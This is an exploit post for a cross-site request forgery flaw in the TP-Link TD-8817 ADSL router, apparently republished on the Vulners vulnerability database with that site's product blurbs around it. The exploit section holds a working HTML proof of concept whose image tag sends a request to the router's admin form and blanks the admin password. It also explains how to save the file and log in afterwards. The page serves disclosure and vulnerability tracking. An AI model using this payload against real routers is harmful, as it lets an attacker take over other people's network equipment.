Vulners
Lucene search
TP-Link TD-8817 CSRF Vulnerability
======================================================================
_ _ _____ __ __
| | | | | _ | \ \ / /
| | | |_ __ | |/' |_ ___ __ \ V /
| | | | '_ \| /| \ \ /\ / / '_ \ / \
| |_| | | | \ |_/ /\ V V /| | | | / /^\ \
\___/|_| |_|\___/ \_/\_/ |_| |_| \/ \/
______
|______|
======================================================================
######################################################################
# Exploit Title: TP-Link TD-8817 CSRF Vulnerability
# Author: Un0wn_X
# E-mail: [email protected]
# Category: Hardware
# Google Dork: N/A
# Vendor: http://www.tp-link.com
# Version: TD-W8901G
# Firmware Version: 6.0.1 Build 111128 Rel.26763
# Product: http://www.tp-link.com/lk/products/details/?model=TD-8817
# Tested on: Windows 7 64-bit
# PoC video: http://www.youtube.com/watch?v=8xJGkRQB0QM
######################################################################
#Introduction
==============
TP-Link TD-8817 is a ADSL2+ Ethernet/USB Modem Router which works with a 24-Mbps downstream connection.
#Description of Vulnerability
=============================
You can easily change the default user's (admin) password by the default router page listning on tcp/ip port 80. In here you the $_GET will change the password for you and the $_POST request method is not needed for changing the router pass.
#Exploit
========
<html>
<!-- TP-Link TD-8817 CSRF Explpoit -->
<body>
<img src="http://192.168.1.1/Forms/tools_admin_1"/>
</body>
</html>
==========
Save this as csrf.html and this will change the router password to blank if the current user admin visits this page his password will be resetted to blank. You can login with the username admin and password (blank).
#Greetz to G2, Zer0Freak, HR aka MrGreen, Divine, Keeper,SubZer0, zer0time, Zer0wl, Cyb_iDioT, Prominent, Raw-x, Kasper
# 0day.today [2018-03-19] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Apr 2013 00:00Current
7.1High risk
Vulners AI Score7.1